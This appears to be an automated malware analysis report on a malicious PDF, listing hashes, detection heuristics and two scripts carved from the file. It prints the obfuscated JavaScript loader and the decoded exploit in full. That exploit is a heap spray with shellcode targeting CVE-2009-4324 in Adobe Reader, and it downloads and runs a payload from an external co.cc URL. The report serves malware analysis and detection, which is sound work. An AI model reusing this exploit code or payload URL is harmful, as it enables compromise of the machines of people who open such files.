Malicious PDF — malware analysis report

Static analysis result for SHA-256 efce0a92090064bc…

MALICIOUS

PDF

2.3 KB First seen: 2026-05-10
MD5: 8e86ec64ca38a2c3bfc023f624d567d2 SHA-1: 43ef6398532971ee60db6763d80497878888ea0a SHA-256: efce0a92090064bc4028c7f6088d64e5a30c6979550bf8a5ba931ff76936b408
358 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded and obfuscated JavaScript, including calls to `eval()` and `unescape()`, indicating an attempt to hide malicious code. Heuristics confirm the use of CVE-2009-4324, a known PDF vulnerability, and ClamAV detected a JavaScript exploit. The embedded JavaScript likely downloads and executes a second-stage payload, as suggested by the 'Js.Exploit.Shellcode-18' detection on an extracted artifact.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://utanmay.co.cc/b/l.php?i=16 Referenced by PDF JavaScript
🗂 Part of campaign: co.cc 5 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x820 478 bytes
SHA-256: e7d1232c16a6e584ebcad6ed89ed39659361935894de0b1df6aee2e4fe16ce04
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/eval(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*//*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/unescape(/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/this.subject.replace(/Hueputol/g,String.fromCharCode(0x3*0xC+0x1)).replace(/Dalbaeb/g,'B')/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/)/*g8nsjkSDFnjq8zx <Znujifw8ufsdf> Pjhio3nzinvsjd6YT*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2427 bytes
SHA-256: 382aa66544450b561077773ab28f9a04e008ccf6e68ee054e756395fd7a8eabd
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function a(){util.printd('p@111111111111111111111111 : yyyy111', new Date());}var h = app.plugIns;for (var f=0; f < h.length; f++){if (h[f].name=='EScript'){var i=h[f].version;}}if((i>8.12)&&(i<8.2)){c=new Array();var d = unescape('%u9090%u9090');var e = unescape('%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u752f%u6174%u6d6e%u7961%u632e%u2e6f%u6363%u622f%u6c2f%u702e%u7068%u693f%u313d%u0036%u9000');while(d.length <= 0x8000){d+=d;}d=d.substr(0,0x8000 - e.length);for(f=0;f<2900;f++) {c[f]=d + e;}a();a();try {this.media.newPlayer(null);} catch(e) {}a();}

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